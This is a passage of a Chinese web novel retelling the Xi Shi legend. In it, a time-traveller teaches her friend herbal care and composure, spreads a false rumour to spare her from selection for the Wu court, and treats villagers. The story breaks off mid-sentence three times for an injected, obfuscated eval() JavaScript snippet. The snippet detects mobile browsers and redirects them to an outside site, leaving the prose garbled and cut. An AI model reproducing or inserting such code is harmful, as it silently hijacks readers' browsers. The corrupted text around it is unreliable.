这些举动很小，很散碎，就像溪流汇聚前微不足道的水滴。在宏大的历史叙事里，甚至不值一提。 但施晓青知道，改变从来不是一蹴而就。它始于最微末的善意，始于看似无用的知识传递，始于人与人之间最朴素的联结。 她不知道这些细微的根须，最终能生长成什么。 她只知道，当风浪再次来临时，她和夷光，或许不会再是两株孤立无援、只能任由摆布的浮萍。 至少，她们在尝试着，把根往泥土深处，扎下去一点。 再扎下去一点。 “阿青，你近日……似乎懂得很多。” 一次，在施晓青那简陋的药圃旁，夷光看着那些被细心照料的绿苗，轻声说。 施晓青正用小木棍给一株紫苏松土，闻言动作微顿：“都是在生死边缘走过一遭，大概……开了点窍。” 她无法解释穿越，只能用最含糊的说法。 “总觉得，多知道一点，多准备一点，或许就能在风雨来时，有个躲雨的屋檐。” 夷光沉默地看着她沾着泥土的手指，那双曾经只知浣纱的手，如今在泥土和草药间穿梭，却显得异常沉稳有力。 她忽然问：“阿青，你信命么？” 施晓青抬起头，对上夷光那双盛满山间雾气的眸子。 她拍了拍手上的土，认真想了想： “信，也不信。信命里有些东西，就像这越国的山、吴国的水，我们搬不动。但也不信命里所有的事都定死了。” 她指向那些药草，“就像这些草，生在野地里是它的命，但被人采来用对了地方，或许就能救急，改一改另一条命的运道。” 夷光眼神微动，似有所悟，又似更深的迷茫。 这天傍晚，施晓青正在院中分拣晒干的艾草，篱笆外传来轻轻的叩击声。 不是阿母回来的动静。 她警惕地走过去，透过缝隙，看到的是夷光略显苍白的脸，眼神里带着一丝急切。 “阿青，快开门。”夷光的声音压得很低。 施晓青连忙开门让她进来，迅速关好：“怎么了？” 夷光从怀中取出一个用旧葛布裹着的小包，递给施晓青。入手微沉，带着奇异的、清冽的香气，绝非村中能有。 “这是……” 施晓青疑惑地打开一角，里面是几块深褐色、纹理细密的木块，香气正是由此散发。 “沉香。”夷光声音更低了，“前日有人暗中送来我家，指明给我阿父的。说是……都城来的贵人所赐，让我家用这香，平日熏衣静心，务必……务必养好容色气质。” 她咬着下唇，眼中是无法掩饰的惊惧，“他们没露面，东西放下就走了。阿父阿母吓得一夜未眠。这香，我们不敢用，又不敢扔。” 施晓青的心猛地一沉。果然，官差走了，但盯上夷光的目光，从未真正移开。 “给我。”施晓青接过沉香，仔细看了看，又凑近闻了闻。 香气醇厚沉静，确实是上品。但在她看来，这袅袅香气，却比刀剑更寒。 “夷光，这香你们万万不能用。但交给我处理。” “你打算怎么做？” 施晓青目光落在手中沉香的纹理上，又转向自己那些晾晒的普通草药：“既然他们想让你养好，那我们就养——只不过，是用我们自己的法子养。” 她拉着夷光走进屋内，关好门，就着昏暗的天光低声道：“这沉香，我先收着。或许以后有用。至于你……” 她看着夷光忧心忡忡的脸，“从明日起，你每日来我这里一趟。我们不只是说话，你要跟我学些东西。” “学什么？” 4. 学学学 “学什么？” “学认这些草药，学最基本的强身健体的法子，学……如何在不得已时，让自己看起来不那么合适。” 施晓青眼神锐利起来，“他们选人，要容貌，要仪态，要心思灵巧能担事。容貌天生，我们改不了，也绝不能自毁。但仪态和心思，或许可以调整。” 夷光怔住了：“你是说……” “不是让你变蠢。” 施晓青握住她冰凉的手，“是让你在必要时，懂得藏……”她指向那些草药，“所以，你要先懂得如何真正调理自己，让自己有底气。然后，才能学会如何表演。” 这是无奈之下的险棋。 既要让夷光拥有更坚韧的身体和心智，以应对未来可能的磨难，又要为她打磨出一层保护性的伪装。这其中的分寸，极难拿捏。 夷光深深地看着施晓青，眼中最初的惊惧慢慢沉淀下去，化为一种决然。她用力点头：“我学。” * 溪水潺潺，施晓青把几株新采的艾草递给夷光。 “看清楚，叶背有灰白绒毛，香气特殊。煮水沐足，能驱寒安神，尤其在你……觉得心里发慌睡不着的时候。” 夷光接过，指尖轻触叶片，学得很认真：“和薄荷不同。” “嗯，薄荷辛凉，主疏散；艾草温通，重养护。” 晓青说着，又指了指旁边一丛不起眼的绿植，“那是陈皮，晒干后理气健脾。若日后饮食不调……或许用得上。” “饮食不调？” 夷光抬眼，眸中映着溪水光斑。 晓青顿了顿，语气放得更缓：“我是说，万一去了不习惯的地方，水土不服总是有的。多知道一点，身子就少受一点罪。” 夷光沉默，低头轻嗅艾草微苦的香气。 “阿青，你懂的真多，不像我们村里人。” “都是听来的。” 晓青利落地把草药分门别类放好，“一位路过的老人家，说了不少。我以前没当回事，现在想想，或许就是留给此刻用的。” “那位老人家……还说过别的吗？”夷光声音很轻，像怕惊扰了什么。 “说过。”晓青坐下来，目光投向远处山峦，“他说，人活于世，有时就像这溪里的石头。水流急的时候，太尖的棱角容易被冲走，太圆的又立不住。最好的法子，是外面磨得光滑些，里头却要稳住自己的形状。” 夷光若有所思。 良久，她问：“那该如何磨？” “我们试试。” 晓青站起身，拍了拍手上的草屑，神情忽然变得刻板，下巴微抬，声音又尖又细，活脱脱的管家嬷嬷：“你！那个浣纱的！抬起头来！” 夷光一怔，手指蓦地收紧。 “对，就是这样。” 晓青立刻恢复原状，温声道，“突然被陌生人这样呼喝，任谁都会慌。但夷光，你要练的，就是慌在里头，面上却要像这溪水一样，该流流，该静静。” 她重新端起架势，这次语气缓和些，却带着审视：“姓甚名谁？年岁几何？平日做些什么？” 夷光深吸一口气，垂下眼睫，声音平稳：“民女施夷光，苎萝村人，年十五，平日……随母亲浣纱、采些野菜。” 她答得简略，避开了细节。 “浣纱？”晓青扮演的“官家嬷嬷”挑眉，“手伸出来我瞧瞧。” 夷光伸出手，掌心朝上。手指纤长，却有薄茧。 晓青扮演的嬷嬷凑近细看，目光挑剔。 夷光的指尖几不可察地颤了一下，却依然维持着姿势。 “可以了。”晓青放下架势，眼里露出赞许，“刚才很好。只是最后，手指不必僵着，自然垂着就好。越在意，越容易露痕迹。” 夷光收回手，轻轻舒了口气，额角有细汗。 “总觉得……像是在骗人。” “这不是骗。” 晓青递给她一片薄荷叶，自己也含了一片，清凉的气息在舌尖化开，“这是在别人画好的棋盘上，给自己找一处安稳的落子点。你不害人，只是不想被人轻易看透、随意摆布。” 她看着夷光依旧迷茫的眼神，换了个说法：“你看这溪里的鱼，明明在水里，身子却总微微侧着，既看着水面上的动静，也顾着水下的暗流。我们女子在这世上，有时也得学学这鱼儿。” 夷光望向溪水，几条小鱼正灵活地游弋。她似乎明白了什么，轻轻点头。 日子一天天过去，后院的角落成了她们的“学塾”。 “觉得心快跳出来的时候，悄悄吸气，心里默数四下，再缓缓吐出来，数六下。” 晓青教着，夷光也比划着几个舒缓拉伸的动作，手臂如鸟翼般展开，腰身缓慢扭转。 “这是那位老人家比划过的养生操，说能松缓筋骨，凝神静气。无人时做做，但千万别说出去。” 夷光学得很认真。 她的身体柔韧，很快掌握了要领。 一次练习后，她额发微湿，眼底却有种运动后的清亮。 “阿青，做完这些，心里好像真的松快了些。” “那就好。”晓青笑着递过水瓢，“身子是自己的根基，根基稳了，风雨来了才站得住。” 演练也在继续。 晓青有时是好奇的多舌村妇，绕着弯子打听夷光的婚事打算；有时是倨傲的官家女眷，语气施舍地评价她的容貌。 夷光从最初的慌乱，渐渐学会了用最温顺平和的语气，说着最无关紧要的话： “劳您关心，父母之命，不敢妄议。” “容貌乃父母所赐，不敢当夸赞。” 若对方追问不休，她会适时轻蹙眉头，指尖抚上心口，声音放软：“旧疾有些反复，恕我不能久陪……” 自然而然地中断话题。 这过程不易。 一次演练后，夷光独自在树下站了很久，背影显得有些孤单。 晓青走过去，听见她极低的声音：“阿青，我这样……是不是变得虚伪了？” 晓青正在石臼里研磨晒干的陈皮，沙沙的声响停了。她转过头，看着夷光被树影笼罩的侧脸。 “夷光，”她声音很稳，“你看着我的手。” 夷光转头。晓青的手沾着陈皮的细末，指节分明，并不细腻。 “这双手，浣纱、采药、做活，沾过泥，染过草汁。它不漂亮，但实在。” 晓青缓缓说，“你现在学的，就像是在这实在的手外面，暂时戴上一副轻薄的手套。 手套或许不起眼，或许不合你的心意，但它能让你在不得不去触碰荆棘的时候，少流点血。 你的手，还是原来那双手，你的心，也还是原来那颗心。这不算虚伪，这是……在没办法的时候，给自己找的一副软甲。” 她把磨好的陈皮粉用干净麻布仔细包好，递给夷光：“收着。我们做这些，不是为了变成别人，是为了在狼盯上羊群的时候，让自己看起来不那么像最容易叼走的那一只。是为了……哪怕只是一线可能，将来能对自己要去的地方，说上一句‘愿意’或‘不愿意’。” 夷光接过那包陈皮粉，微涩的香气萦绕鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486879|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖。 她看着晓青被阳光晒得微红、却目光澄定的脸，那上面的汗珠顺着额角滑下，消失在衣领里。 这张脸并不绝美，却有种山野般的韧劲，像石缝里长出的草，风再大也贴着地皮生长。 良久，夷光握紧了手中的布包，唇角很轻地弯了一下：“我懂了，阿青。” 后院角落的药圃在晓青的打理下，绿意渐浓。虽谈不上茂盛，但薄荷、紫苏、艾草、还有几株野菊，都活了。 晓青用多出的艾草薄荷，加上晒干的野花，缝了几个小小的香囊。针脚粗陋，但心意实在。 她给阿母一个：“挂着，蚊虫少些。” 给隔壁总咳嗽的阿婆一个：“放着枕边，气味通窍。” 最后一个，她让阿母送去里正家。 “就说上次我言行无状，冲撞了贵人，心里一直不安。这小玩意儿不值钱，勉强算份心意，请里正娘子别嫌弃。” 阿母欲言又止，终究还是去了。 香囊虽微，但这份主动递出的台阶，让里正家紧绷的气氛缓和了些许。 里正娘子再遇见晓青阿母，也能点点头，说句：“你家阿青，近来倒是沉稳了”。 夷光的变化是悄然的。 她依旧美，但那美不再单薄得令人心忧。 规律的调理和那些无声的练习，让她苍白的脸颊润了一丝血色，眉宇间积郁的愁绪被一种更沉静的专注取代。 她虽少言，但眼神掠过山野溪流、掠过手中纱线时，多了几分通透的力道。就像晓青说的，内里的韧性，正一点点撑起那绝世容光的外壳。 溪水日复一日地流，带走落花，也映照着两个少女默默积蓄力量的倒影。 风暴未至，但她们已在为可能到来的雨天，悄悄编织一件蓑衣。 * 一个燥热的午后，施晓青正在溪边清洗新采的草药，村里忽然传来不同寻常的喧哗声，夹杂着马蹄声和严厉的呼喝。 她心头一紧，擦干手快步朝村口走去。 只见村口的空地上，停着两三辆比上次更规整的马车，周围站着七八个劲装佩刀的兵士，神情肃穆。 里正正点头哈腰地陪在一个身穿深色官袍、面白无须的中年人身边。 那官员神色冷峻，目光如鹰隼般扫视着被召集而来的村民，尤其是人群中的年轻女子。 他的声音不高，却带着不容置疑的威严，清晰地传入每个人耳中： “奉上命，复查诸暨各乡女子资质。凡年十三至十八，容貌端正、体态合宜者，皆需于三日后，至里正处登记造册，听候查验。不得延误，不得隐匿！” 他的目光，似乎在不经意间，掠过了人群边缘某个方向。 施晓青顺着那目光看去，心一沉。 施夷光站在她母亲身后，半低着头。 但即便在人群中，她那独特的、沉静如水的气质，依然像暗夜里的萤火，无法完全遮掩。 真正的遴选，以更正式、更无法抗拒的方式，到来了。 官员说完，不再停留，转身上了马车。 兵士们簇拥着马车，扬起尘土，驶离了苎萝村。留下满村惶惑不安的百姓，和空气中弥漫的、山雨欲来的压抑。 里正擦着额头的汗，开始高声宣布具体细则，语气焦躁。 施晓青悄悄退出人群，回到溪边。 她看着水中自己紧绷的倒影，又看了看手中尚未洗净的、散发着清苦气味的草药。 三日后登记，然后便是查验。 时间，比想象中更紧迫。 5. 逆流之策 夜色如墨，浓稠地泼洒在苎萝村上空。 白日里官差带来的惊悸并未随暮色散去，反而沉淀为一种更深、更闷的恐慌，沉甸甸压在每个人的心头。 灯火早早熄灭，偶有压抑的咳嗽或低语从窗缝漏出，随即又陷入更深的寂静，仿佛连呼吸都怕惊动了什么。 施晓青没睡。 她坐在自家小屋冰凉的泥土地上，就着唯一一盏摇曳的油灯，面前铺着几片干燥的桑树皮，手里拿着一小块烧黑的木炭。 油灯光线昏暗，将她的影子拉长，扭曲地投在土墙上，像个沉默的守护者。 木炭在树皮上划过，发出沙沙的轻响，留下断续的线条和符号。 这不是这个时代的文字，而是只有她能看懂的、结合了简体字、英文缩写和自创标记的密码。 她在复盘，在推演。 油灯啪地爆了个灯花。 施晓青的目光落在炭笔写下的“不合用”三个字上，指尖无意识地点了点。 什么样的人会“不合用”？ 首先，身体有隐疾或顽疾，可能无法承受长途跋涉、严格训练或未来任务者。夷光的“心疾”可以做文章，但需要证据，不能空口白话。 其次，性情或心智有缺陷，不够灵巧，难当大任，或难以控制。这需要更精细的表演和长期铺垫，短时间内塑造一个可信的形象很难。 再次……家庭背景或社会关系有瑕疵，可能影响忠诚或带来麻烦？ 施晓青的笔尖顿住。 她想起白日里那官员扫视人群时，除了看年轻女子，目光似乎也在一些家庭的长辈身上短暂停留过。 遴选美人送入吴宫，事关重大，身家背景必然在考察之列。一个“不清白”或“有麻烦”的家庭出来的女子，即使用，也会被慎重考量，甚至直接排除。 她的心跳快了几拍。 夷光家世简单，父母皆是老实本分的农户，并无污点。但……如果污点是即将产生，或者可以被制造出来的呢？ 一步踏错，可能万劫不复。 但，这是目前她能想到的，唯一可能从根本上动摇夷光入选可能性的策略。 她的目光，不由自主地飘向屋外漆黑的夜色，落在隔壁阿婆家那低矮茅屋的方向。 阿婆，村里最年长的老人之一，无儿无女，独自居住。她絮叨，记性好，对村里陈年旧事了如指掌，也因为孤独，对常来帮忙、听她说话的施晓青，有着超乎寻常的信任和倾诉欲。 更重要的是，阿婆在村里，有一种独特的来自年岁和经历的话语权。 她的话，在某些时刻，会被当作“古旧之谈”、“老人言”，虽不一定被完全采信，却会在人心里种下猜疑的种子。 另一个可能的人选……她的手指在炭笔下“里正”二字上画了个圈。 里正上次因她失态而恼怒，但后来收到香囊，态度稍有缓和。他是最直接的执行者，对上面负责，也最怕出事。 如果能让他也产生顾虑…… 施晓青吹熄油灯，躺回硬板床上。 黑暗中，她的眼睛睁得很大，听着窗外细微的虫鸣，脑海中的计划一遍遍细化、修正，每一个环节都在推演可能出现的问题和应对。 这是真正的逆流而行。她不确定能走多远，但箭已在弦上。 接下来的两天，苎萝村表面平静，内里却暗潮汹涌。 家家户户都在私下议论，有女儿的人家更是愁云惨淡，有的试图连夜将女儿送到远亲家避风头，有的忙着给女儿做稍显土气或宽大的衣裳，试图遮掩容貌。 施晓青按部就班。 她依旧每日去溪边，浣纱，采药，照料她那小小的药圃。 只是去阿婆家的次数更勤了，不仅帮忙挑水扫地，还会不经意地提起官家选人之事，语气里满是忧虑。 “阿婆，您说，这被选上了，到底是福是祸啊？我听说，送去的地方规矩大得很，动不动就要挨罚，身子骨弱些的，怕是……” 阿婆瘪着嘴，用缺了牙的嘴慢悠悠地说：“福祸？哼，那得看命。早年间，也不是没有过类似的事……隔壁村，好像就有个姑娘，被贵人看中带走了，后来呢？音信全无！家里人想打听，都没门路。说是享福去了，谁知道是不是……” 她摇摇头，浑浊的眼睛里闪着过来人的精明与一丝恐惧，“这些官家的事，沾上了，是好是歹，都由不得自己喽。” 施晓青适时地露出惶恐的表情：“这么吓人？那……那要是被选上了，家里有点什么事，是不是更没人管了？” “那还用说！”阿婆拍了下腿，“女儿都送出去了，那就是人家的人了。家里就算有天大的事，你也伸不上手，说不……哎，说到这个，” 她忽然压低声音，往前凑了凑，“我听说啊，只是听说，施老二家那边，好像不太平。” 施晓青心头一跳，面上却做出好奇状：“夷光家？她家怎么了？我看她阿父阿母都是本分人。” “本分是本分，可架不住……架不住运道啊。” 阿婆声音更低了，带着神神秘秘的味道，“我前儿个听路过的货郎嚼舌根，说是在北边打仗的地方，好像见过一个长得跟夷光她舅很像的汉子，在给……给那边的人做事！” 她没说具体给谁，但那眼神里的暗示，足以让人联想到吴国，或者别的什么“不该沾边”的势力。 这当然是子虚乌有。 货郎或许说过些战事见闻，但绝不可能具体到苎萝村一个普通村民的亲戚。 这是施晓青在过去两天里，利用和阿婆闲聊的机会，极其小心、迂回地埋下的“伏笔”—— 她先谈论战事残酷，提及可能有人为求生计不得不为敌方做些杂役，再无意中说起夷光好像有个舅舅早年出门谋生，不知所踪。 在阿婆的脑海里，这些零散的信息，经过她自己的联想和加工，便合成了这样一个真假难辨的“听说”。 谣言的生命力在于模糊和暗示。 施晓青不需要它成为确凿证据，只需要让它成为一粒灰尘，在恰当的时机，落入某些人的眼中。 “阿婆，这话可不敢乱说！”施晓青做出惊吓状，连连摆手，“这要传出去，夷光家可怎么办？她正……” “我知道，我知道。”阿婆也意识到失言，忙掩住嘴，眼神却闪烁不定，“我就跟你说说，你可别往外传。唉，我也是担心夷光那孩子，模样是真好，可要是家里……有点什么牵扯，这被选上去，怕是福气变祸事哦。” 种子，已经悄悄种下。它会自己在阿婆心里，也在可能会听到阿婆担忧的个别人心里，慢慢发酵。 第三天，登记的日子到了。 里正家的院子成了临时登记点，气氛凝重。 有适龄女子的人家，父母带着女儿，神情忐忑地排队等候。两个穿着吏员服饰的人坐在简陋的木桌后，面无表情地询问、记录。里正在一旁陪着，额角冒汗。 施晓青陪着夷光和她父母一同前来。 夷光今日穿着一身半旧的藕色衣裙，头发简单绾起，未施粉黛，却愈发显得清水出芙蓉。她垂着眼，嘴唇抿得有些发白，手指紧紧攥着袖口。 队伍缓慢前行。终于轮到夷光家。 吏员抬头，看到夷光时，眼中明显掠过一丝惊艳，但很快被职业性的冷淡掩盖。他例行公事地问了姓名、年龄、家世。 夷光的父亲，一个老实巴交的农夫，紧张得话都说不利索。夷光母亲低声补充着。 一切似乎很顺利。吏员笔尖滑动，就要将夷光的信息录入册中。 就在这时，院外传来一阵急促而略显慌乱的脚步声，还夹杂着苍老的、喘着气的呼喊：“等等！里正，等一等！” 众人回头，只见隔壁阿婆拄着拐棍，颤巍巍地快步走了进来，脸色发红，也不知是走得急还是激动。 她径直走到里正面前，也顾不上礼数，一把抓住里正的袖子，声音不大，却因为激动而有些尖：“里正！施老二家这事，你得再掂量掂量啊！” 院子里瞬间安静下来，所有人的目光都聚焦过来。 里正眉头紧皱，又不好对长者发作，低声道：“阿婆，您这是干什么？没看见官爷在办公事吗？” “就是因为办公事，我才要说！” 阿婆喘了口气，眼神瞟了一眼夷光，又迅速收回，脸上露出一种混杂着担忧和欲言又止的神情，“夷光这孩子是好的，可她家……她家那个在外面多年没音信的舅舅，前阵子……前阵子好像有人在北边见过， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486880|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟那边的人……有点不清不楚的牵扯啊！” “北边”和“那边的人”，在这种语境下，指向性几乎不言而喻。 嗡一下，院子里炸开了锅。 人们交头接耳，看向夷光一家的眼神顿时变了，充满了惊疑、审视，甚至一丝避之不及。 夷光父亲的脸色瞬间惨白，急得直跺脚：“阿婆！这话从何说起！我舅兄他……他早就……” “我也是听人说的！” 阿婆打断他，语气确凿，带着老人特有的固执，“我知道你不信，可这种时候，宁可信其有，不可信其无啊！ 里正，你想想，这要是真的，夷光这孩子被选上去，万一……万一以后有点什么事，追究起来，咱们苎萝村，还有你里正，担不担得起这个干系？” 里正的脸色也变得极其难看。 他看看阿婆，又看看面无人色的夷光一家，最后目光落在桌后那两个吏员身上。 吏员也停下了笔，对视一眼，眉头紧锁。遴选美人送入吴宫，忠诚和背景干净是首要考虑。 任何一丝与敌方可能存在的牵连，哪怕只是捕风捉影的谣言，都足以让决策者心生忌惮，宁可错杀，不可错用。 其中一个年长些的吏员，沉吟片刻，对里正低声道：“此事……确需谨慎。此女暂缓录入，需……核实。” 暂缓录入。在这个节骨眼上，几乎就等于否决。 夷光的身子晃了晃，施晓青立刻上前一步，不着痕迹地扶住她的胳膊，感觉到她手臂的冰凉和颤抖。 夷光抬头看她，眼中是巨大的震惊、茫然，还有一丝了悟的痛楚。她明白了，眼前这一幕，这突如其来的“舅舅传闻”，绝非偶然。 施晓青用力握了握她的手臂，眼神里传递着复杂的情绪：对不起，但这是目前唯一的办法。 里正擦了把冷汗，对阿婆道：“阿婆，您先回去歇着，这事……我们自有计较。” 又对夷光父母勉强道，“你们也先回去，等……等消息。” 登记在一种诡异而压抑的气氛中继续，但落在夷光一家背影上的目光，充满了复杂的意味。 走出里正家的院子，回到相对僻静的村路上，夷光的母亲终于忍不住，捂住脸低声啜泣起来。 夷光父亲则是一脸灰败，不住叹气： “造孽，真是造孽啊……这是谁在害我们……” 夷光一直没有说话，只是任由施晓青扶着，脚步虚浮。 直到快到家门口，她才停下，转过头，看着施晓青，声音轻得像一阵风就能吹散：“阿青，是你吗？” 施晓青迎着她的目光，没有回避，缓缓点了点头：“是我。对不起，夷光，用了这样的方式，让你父母蒙受非议。” 夷光闭了闭眼，再睁开时，里面翻涌着泪光，却也有一种奇异的清明：“我知道，你是为了我。只是……这代价……” “这代价，是让那些想把你当棋子的人，心生顾虑。” 施晓青声音低沉而坚定，“一个背景可能有瑕疵的棋子，再好用，也会被犹豫，甚至弃用。我们需要的就是这份犹豫和弃用。至于谣言，总有澄清的一天，等风头过去，我会想办法。” 夷光深深吸了口气，仿佛要将胸中的郁结和痛楚都压下去。 她反手握住施晓青的手，指尖依旧冰凉，却有了力量：“我不怪你。这条路，是我自己选的。从我说要跟你学的那一刻起，我就知道，我们走的，不会是坦途。” 她看着自家那扇熟悉的、此刻却仿佛隔着千山万水的木门，轻声道：“只是，接下来的日子，怕是真的难了。” 施晓青知道她指的是什么。流言蜚语，村民异样的眼光，父母的压力，以及官家可能后续的“核实”……每一件，都足以将人压垮。 “再难，我们一起走。” 施晓青握紧她的手，“你忘了？我们说好的，要给自己挣一条不一样的路。现在，只是路上多了一块绊脚石。踢开它，或者绕过去，但我们不停下。” 暮色再次降临，将两个少女的身影拉长，交叠在一起。身后是渐起的流言风雨，前方是更浓重的未知黑暗。 但她们的手紧紧相握，仿佛能从那微薄的体温中，汲取到对抗命运的唯一光亮。 6. 药香 “听说了吗？施老二家那个舅舅，八成是投了吴人！” “啧啧，怪不得夷光生得那般模样，原来家里早有根子不正……” “官家怕是不敢要她了吧？这种出身，送上去也是祸害！” 那日之后，流言蜚语如同夏日的蚊蚋，无孔不入，在苎萝村的每个角落嗡嗡作响。 夷光一家几乎闭门不出，原本就清冷的门庭，如今更添了几分被人刻意避开的孤寂。 夷光父亲出门换粮，都能感觉到背后指指点点的目光和骤然降低的交谈声，这个老实了一辈子的农夫，脊背仿佛一夜之间佝偻了许多。 施晓青的日子也不好过。 阿婆那天“仗义执言”后，似乎也隐隐意识到自己可能被“利用”了，再见施晓青时，眼神里多了些躲闪和复杂的审视，不再像以前那样无话不谈。 里正更不必说，每次远远看见施晓青，脸色便沉下去，鼻腔里若有似无地哼一声，仿佛她是什么不祥之物。 看着夷光一家因自己策划的谣言而承受的非议，施晓青心中并无多少计策得逞的快意，只有沉甸甸的负疚和更强烈的紧迫感——她必须尽快让这“谣言”产生真正的“效用”，并且，她需要为夷光，也为自家，找到新的、更坚实的立足点。 此招明显是下策，且不可持久。 她需要建立一些正向的、有价值的东西，形成保护，甚至……反制的能力。 她的目光，再次落回那些不起眼的草药上。 苎萝村地处山野，村民们小病小痛多靠硬扛，或求助于经验模糊的土方，遇上稍重些的，便只能听天由命。 而她在现代积累的浅薄常识和粗浅的草药知识，在这个时代，或许就是一条缝隙里的光。 施晓青将后院那片小药圃扩大了，还有了简单的分区。 她借着进山拾柴的机会，走得比以往更深些，寻找更多样的草药，并小心翼翼地用炭笔在桑树皮上记录它们的形态、采集地点和模糊的功效记忆。 她有意识地收集一些干净的布料、陶罐，甚至用节省下来的口粮，跟偶尔路过的货郎换了一小包珍贵的粗盐和几个完好的旧陶钵。 第一个“病人”是偶然，也是必然。 村里一户人家的幼子，夏日贪凉，腹泻不止，哭闹了一整夜，第二天已是小脸蜡黄，眼窝深陷。 孩子的父母急得团团转，去求里正想办法找郎中，可最近的镇子郎中一来一回至少两日，孩子恐怕等不及。 绝望之际，不知是谁提了一句：“施家阿青，好像常摆弄些草叶子……” 病急乱投医。 孩子的父亲，一个黝黑结实的汉子，红着眼眶敲响了施晓青家的门。 施晓青的心提到了嗓子眼。 她不是医生，没有把握。 但看着门外汉子绝望中带着最后一丝希冀的眼神，看着不远处隐隐张望、神情复杂的村民，她知道，这是一个机会，也是一个巨大的风险。 她稳住心神，仔细询问了孩子的症状、饮食和排泄物情况，又要求亲自看一眼孩子。结合有限的常识，她判断很可能是急性肠胃炎引起的脱水。 “我不敢保证能治好，”她事先声明，语气谨慎，“但有些土法子，或许能试试，止泻补液。” 她取来自己晒干的、品质最好的石榴皮，配上一点炒焦的米和几片生姜，仔细交代如何煎煮，喂服的量和频率。 最关键的是，她强调了必须不断给孩子喂服煮沸后晾温的淡盐水，哪怕每次只喂一两勺，也要持续。 “水一定要烧开，盐要放很少很少，尝不出咸味最好。这个，可能比药还紧要。”她神色郑重地叮嘱。 汉子将信将疑地拿着药包和一小包盐回去了。 接下来的一整天，施晓青都心神不宁。 她不断复盘自己的判断和给出的建议，确认每一步都基于最稳妥的常识，剂量也放到最低。 如果孩子有个万一……她不敢想后果。 傍晚时分，那汉子又来了。 施晓青的心一沉。 却见汉子脸上虽仍有疲色，但之前的绝望已消散大半，眼中带着难以置信的激动： “阿青姑娘！娃、娃不拉那么凶了！肯喝点米汤了！脸色也好些了！那盐水，照你说的喂着！” 施晓青长长地舒了一口气，紧绷的脊背瞬间放松下来，这才感到后背已被冷汗浸湿。 她强作镇定：“那就好。药继续按时煎服，盐水不能停，饮食要清淡，只能喝最稀的米汤，观察两日。” “哎！哎！多谢！多谢阿青姑娘！”汉子连连作揖，千恩万谢地走了。 这件事，像一阵风，迅速吹遍了苎萝村。 观望的、怀疑的、原本带着非议的目光，开始有了微妙的变化。 原来施家阿青摆弄那些草叶子，不是瞎胡闹，是真有点用处？ 第二个病人很快上门。是村西头一个常年受风湿腿痛折磨的老猎户，疼痛发作时寸步难行。 施晓青没有妄言能根治，只根据记忆，教他用艾草煮水熏蒸痛处，又给了他一些自己采摘晒干、初步判定有祛风散寒作用的威灵仙根茎，让他泡酒外擦。 几天后，老猎户虽未痊愈，但疼痛明显缓解，逢人便说施家阿青给的方子“管点用”。 信任如同溪水浸润干涸的土地，开始一点点积累。 施晓青愈发谨慎。只在家处理草药，有人来问，便仔细询问，给出最稳妥、最简单、且往往强调“辅助调理”而非“治病”的建议。对于不确定的，她直言不知，绝不逞强。 她用自己记录的“医案”，总结哪些草药搭配对何种常见症状有效，哪些无效或有风险。 她的药圃和屋角，渐渐堆起了分门别类的草药束、晒干的根茎、研磨好的粉末。 空气里常年弥漫着一股淡淡的、清苦的草木香气。 这香气，仿佛成了她新的身份注解，悄然覆盖了之前的阴影。 夷光也在这段艰难的日子里，以一种沉默而坚韧的方式存在着。 她不轻易出门，但施晓青每隔一两日，便会趁着夜色，悄悄溜去夷光家后院矮墙外，递进去一包新晒的安神草药，或是几枚煮熟的鸟蛋，有时只是一小包用干净树叶包着的、加了蜂蜜的紫苏梅干。 两人隔着矮墙，低语片刻。 “阿青，今日外面……还说起舅舅的事么？” “少了些，但目光依旧刺人。你还好吗？” “我还好。阿母总偷偷哭，阿父叹气更多了。但……比起被登记带走，现在这样，我觉得踏实些。” “再忍忍。风头需要时间过去。你的‘功课’别落下，呼吸法，舒展的动作，我新写的几个应对问答，记熟了。” “嗯。阿青，你自己也小心。我听说……里正似乎对你给人看病的事，不太高兴。” “我知道。但他暂时找不到由头。我们做的，是帮忙，不是行医。” 简单的交谈，是支撑，是通气，也是在黑暗中确认彼此的方向。 施晓青家的柴扉，这几日被叩响的频率明显高了些。 起初是隔壁腿脚不便的阿婆，挎着小半篮新挖的野菜，有些不好意思地蹭到门边：< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486881|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “阿青姑娘在吗？昨儿个你给的那个驱蚊草包，真灵验！我挂床头，一晚上没听见蚊子哼哼。这几个菜头，你莫嫌弃……” “阿婆客气了，有用就好。” 施晓青接过野菜，顺手从檐下取了个新缝的、更小巧些的香囊递过去，“这个加了点晒干的菊花，味道清些，您白天戴着。” 没过两日，村东头的李婶捂着肚子，脸色发白地寻来，在门口踌躇着不敢进。 还是施晓青看见，主动开了门。 “李婶，这是怎么了？” 